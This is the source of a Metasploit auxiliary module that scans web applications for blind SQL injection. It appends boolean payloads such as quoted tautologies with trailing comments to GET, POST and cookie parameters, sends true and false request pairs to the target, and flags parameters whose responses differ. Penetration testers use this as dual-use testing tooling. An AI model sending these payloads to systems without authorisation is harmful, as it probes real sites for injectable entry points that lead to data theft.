metasploit-framework/modules/auxiliary/scanner/http/blind_sql_query.rb

477 lines
14 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'rex/proto/http'
require 'msf/core'
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::WmapScanUniqueQuery
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'HTTP Blind SQL Injection Scanner',
'Description' => %q{
This module identifies the existence of Blind SQL injection issues
in GET/POST Query parameters values.
},
'Author' => [ 'et [at] cyberspace.org' ],
'License' => BSD_LICENSE))
register_options(
[
OptEnum.new('METHOD', [true, 'HTTP Method', 'GET', ['GET', 'POST'] ]),
OptString.new('PATH', [ true, "The path/file to test SQL injection", '/index.asp']),
OptString.new('QUERY', [ false, "HTTP URI Query", '']),
OptString.new('DATA', [ false, "HTTP Body Data", '']),
OptString.new('COOKIE',[ false, "HTTP Cookies", ''])
], self.class)
end
def run_host(ip)
# Force http verb to be upper-case, because otherwise some web servers such as
# Apache might throw you a 501
http_method = datastore['METHOD'].upcase
gvars = Hash.new()
pvars = Hash.new()
cvars = Hash.new()
rnum=rand(10000)
inivalstr = [
[ 'numeric',
" AND #{rnum}=#{rnum} ",
" AND #{rnum}=#{rnum+1} "
],
[ 'single quotes',
"' AND '#{rnum}'='#{rnum}",
"' AND '#{rnum}'='#{rnum+1}"
],
[ 'double quotes',
"\" AND \"#{rnum}\"=\"#{rnum}",
"\" AND \"#{rnum}\"=\"#{rnum+1}"
],
[ 'OR single quotes uncommented',
"' OR '#{rnum}'='#{rnum}",
"' OR '#{rnum}'='#{rnum+1}"
],
[ 'OR single quotes closed and commented',
"' OR '#{rnum}'='#{rnum}'--",
"' OR '#{rnum}'='#{rnum+1}'--"
],
[ 'hex encoded OR single quotes uncommented',
"'%20OR%20'#{rnum}'%3D'#{rnum}",
"'%20OR%20'#{rnum}'%3D'#{rnum+1}"
],
[ 'hex encoded OR single quotes closed and commented',
"'%20OR%20'#{rnum}'%3D'#{rnum}'--",
"'%20OR%20'#{rnum}'%3D'#{rnum+1}'--"
]
]
# Creating strings with true and false values
valstr = []
inivalstr.each do |vstr|
# With true values
valstr << vstr
# With false values, appending 'x' to real value
valstr << ['False char '+vstr[0],'x'+vstr[1],'x'+vstr[2]]
# With false values, appending '0' to real value
valstr << ['False num '+vstr[0],'0'+vstr[1],'0'+vstr[2]]
end
#valstr.each do |v|
# print_status("#{v[0]}")
# print_status("#{v[1]}")
# print_status("#{v[2]}")
#end
#
# Dealing with empty query/data and making them hashes.
#
if !datastore['QUERY'] or datastore['QUERY'].empty?
datastore['QUERY'] = nil
gvars = nil
else
gvars = queryparse(datastore['QUERY']) #Now its a Hash
end
if !datastore['DATA'] or datastore['DATA'].empty?
datastore['DATA'] = nil
pvars = nil
else
pvars = queryparse(datastore['DATA'])
end
if !datastore['COOKIE'] or datastore['COOKIE'].empty?
datastore['COOKIE'] = nil
cvars = nil
else
cvars = queryparse(datastore['COOKIE'])
end
verifynr=2
i=0
k=0
c=0
normalres = nil
verifynr.times do |j|
#SEND NORMAL REQUEST
begin
normalres = send_request_cgi({
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => gvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => datastore['DATA']
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
if not normalres
print_error("No response")
return
else
if i==0
k = normalres.body.length
c = normalres.code.to_i
else
if k != normalres.body.length
print_error("Normal response body vary")
return
end
if c != normalres.code.to_i
print_error("Normal response code vary")
return
end
end
end
end
print_status("[Normal response body: #{k} code: #{c}]")
pinj = false
valstr.each do |tarr|
#QUERY
if gvars
gvars.each do |key,value|
vprint_status("- Testing '#{tarr[0]}' Parameter #{key}:")
#SEND TRUE REQUEST
testgvars = queryparse(datastore['QUERY']) #Now its a Hash
testgvars[key] = testgvars[key]+tarr[1]
t = testgvars[key]
begin
trueres = send_request_cgi({
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => testgvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => datastore['DATA']
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
#SEND FALSE REQUEST
testgvars = queryparse(datastore['QUERY']) #Now its a Hash
testgvars[key] = testgvars[key]+tarr[2]
begin
falseres = send_request_cgi({
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => testgvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => datastore['DATA']
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
pinja = false
pinjb = false
pinjc = false
pinjd = false
pinja = detection_a(normalres,trueres,falseres,tarr)
pinjb = detection_b(normalres,trueres,falseres,tarr)
pinjc = detection_c(normalres,trueres,falseres,tarr)
pinjd = detection_d(normalres,trueres,falseres,tarr)
if pinja or pinjb or pinjc or pinjd
print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
print_good("[#{t}]")
report_web_vuln(
:host => ip,
:port => rport,
:vhost => vhost,
:ssl => ssl,
:path => normalize_uri(datastore['PATH']),
:method => http_method,
:pname => key,
:proof => "blind sql inj.",
:risk => 2,
:confidence => 50,
:category => 'SQL injection',
:description => "Blind sql injection of type #{tarr[0]} in param #{key}",
:name => 'Blind SQL injection'
)
else
vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
end
end
end
#DATA
if pvars
pvars.each do |key,value|
print_status("- Testing '#{tarr[0]}' Parameter #{key}:")
#SEND TRUE REQUEST
testpvars = queryparse(datastore['DATA']) #Now its a Hash
testpvars[key] = testpvars[key]+tarr[1]
t = testpvars[key]
pvarstr = ""
testpvars.each do |tkey,tvalue|
if pvarstr
pvarstr << '&'
end
pvarstr << tkey+'='+tvalue
end
begin
trueres = send_request_cgi({
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => gvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => pvarstr
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
#SEND FALSE REQUEST
testpvars = queryparse(datastore['DATA']) #Now its a Hash
testpvars[key] = testpvars[key]+tarr[2]
pvarstr = ""
testpvars.each do |tkey,tvalue|
if pvarstr
pvarstr << '&'
end
pvarstr << tkey+'='+tvalue
end
begin
falseres = send_request_cgi({
'uri' => normalize_uri(datastore['PATH']),
'vars_get' => gvars,
'method' => http_method,
'ctype' => 'application/x-www-form-urlencoded',
'cookie' => datastore['COOKIE'],
'data' => pvarstr
}, 20)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
rescue ::Timeout::Error, ::Errno::EPIPE
end
pinja = false
pinjb = false
pinjc = false
pinjd = false
pinja = detection_a(normalres,trueres,falseres,tarr)
pinjb = detection_b(normalres,trueres,falseres,tarr)
pinjc = detection_c(normalres,trueres,falseres,tarr)
pinjd = detection_d(normalres,trueres,falseres,tarr)
if pinja or pinjb or pinjc or pinjd
print_good("Possible #{tarr[0]} Blind SQL Injection Found #{datastore['PATH']} #{key}")
print_good("[#{t}]")
report_web_vuln(
:host => ip,
:port => rport,
:vhost => vhost,
:ssl => ssl,
:path => datastore['PATH'],
:method => http_method,
:pname => key,
:proof => "blind sql inj.",
:risk => 2,
:confidence => 50,
:category => 'SQL injection',
:description => "Blind sql injection of type #{tarr[0]} in param #{key}",
:name => 'Blind SQL injection'
)
else
vprint_status("NOT Vulnerable #{datastore['PATH']} parameter #{key}")
end
end
end
end
end
def detection_a(normalr,truer,falser,tarr)
# print_status("A")
# DETECTION A
# Very simple way to compare responses, this can be improved alot , at this time just the simple way
if normalr and truer
#Very simple way to compare responses, this can be improved alot , at this time just the simple way
reltruesize = truer.body.length-(truer.body.scan(/#{tarr[1]}/).length*tarr[1].length)
normalsize = normalr.body.length
#print_status("normalsize #{normalsize} truesize #{reltruesize}")
if reltruesize == normalsize
if falser
relfalsesize = falser.body.length-(falser.body.scan(/#{tarr[2]}/).length*tarr[2].length)
#print_status("falsesize #{relfalsesize}")
if reltruesize > relfalsesize
print_status("Detected by test A")
return true
else
return false
end
else
vprint_status("NO False Response.")
end
else
vprint_status("Normal and True requests are different.")
end
else
print_status("No response.")
end
return false
end
def detection_b(normalr,truer,falser,tarr)
# print_status("B")
# DETECTION B
# Variance on res body
if normalr and truer
if falser
#print_status("N: #{normalr.body.length} T: #{truer.body.length} F: #{falser.body.length} T1: #{tarr[1].length} F2: #{tarr[2].length} #{tarr[1].length+tarr[2].length}")
if (truer.body.length-tarr[1].length) != normalr.body.length and (falser.body.length-tarr[2].length) == normalr.body.length
print_status("Detected by test B")
return true
end
if (truer.body.length-tarr[1].length) == normalr.body.length and (falser.body.length-tarr[2].length) != normalr.body.length
print_status("Detected by test B")
return true
end
end
end
return false
end
def detection_c(normalr,truer,falser,tarr)
# print_status("C")
# DETECTION C
# Variance on res code of true or false statements
if normalr and truer
if falser
if truer.code.to_i != normalr.code.to_i and falser.code.to_i == normalr.code.to_i
print_status("Detected by test C")
return true
end
if truer.code.to_i == normalr.code.to_i and falser.code.to_i != normalr.code.to_i
print_status("Detected by test C")
return true
end
end
end
return false
end
def detection_d(normalr,truer,falser,tarr)
# print_status("D")
# DETECTION D
# Variance PERCENTAGE MIN MAX on res body
# 2% 50%
max_diff_perc = 2
min_diff_perc = 50
if normalr and truer
if falser
nl= normalr.body.length
tl= truer.body.length
fl= falser.body.length
if nl == 0
nl = 1
end
if tl == 0
tl = 1
end
if fl == 0
fl = 1
end
ntmax = [ nl,tl ].max
ntmin = [ nl,tl ].min
diff_nt_perc = ((ntmax - ntmin)*100)/(ntmax)
diff_nt_f_perc = ((ntmax - fl)*100)/(ntmax)
if diff_nt_perc <= max_diff_perc and diff_nt_f_perc > min_diff_perc
print_status("Detected by test D")
return true
end
nfmax = [ nl,fl ].max
nfmin = [ nl,fl ].min
diff_nf_perc = ((nfmax - nfmin)*100)/(nfmax)
diff_nf_t_perc = ((nfmax - tl)*100)/(nfmax)
if diff_nf_perc <= max_diff_perc and diff_nf_t_perc > min_diff_perc
print_status("Detected by test D")
return true
end
end
end
return false
end
end